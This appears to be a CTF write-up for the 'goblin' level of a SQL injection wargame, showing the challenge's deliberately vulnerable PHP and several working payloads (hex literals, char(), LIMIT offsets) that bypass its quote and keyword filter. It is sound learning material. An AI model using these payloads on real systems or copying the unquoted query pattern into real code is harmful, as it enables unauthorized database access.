Post

LOS Lv.3 goblin

goblin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
query : select id from prob_goblin where id='guest' and no=

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

Solution

1
2
By default, a hexadecimal literal is a binary string, 
where each pair of hexadecimal digits represents a character:
1
2
3
4
5
6
mysql> SELECT X'4D7953514C', CHARSET(X'4D7953514C');
+---------------+------------------------+
| X'4D7953514C' | CHARSET(X'4D7953514C') |
+---------------+------------------------+
| MySQL         | binary                 |
+---------------+------------------------+
1
2
3
4
5
6
mysql> SELECT 0x5461626c65, CHARSET(0x5461626c65);
+--------------+-----------------------+
| 0x5461626c65 | CHARSET(0x5461626c65) |
+--------------+-----------------------+
| Table        | binary                |
+--------------+-----------------------+
1
2
3
?no=0 or id=0x61646D696E %23 -> mysql에서 query로 16진수 값이 들어가도 쿼리에서 검색됨.
?no=0 or no != 1 %23 -> db안에 아이디가 2개뿐이라 하면 나머지 값을 가져오면 됨.
?no=0 or 1 limit 1,1 -> 두 번째 행부터 한 개 가져옴.(admin이 두 번쨰에 위치함)
1
다른 풀이 : ?no=0 or id=char(97,100,109,105,110)
1
2
3
4
SELECT * FROM TABLE LIMIT 5;  -> 처음부터 5개의 행을 가져옴.
  
SELECT * FROM TABLE LIMIT 4, 10; -> 5번째부터 10개 가져옴.
// LIMIT 시작점, 갯수 (첫번째 파라미터는 0 부터 시작) 
This post is licensed under CC BY 4.0 by the author.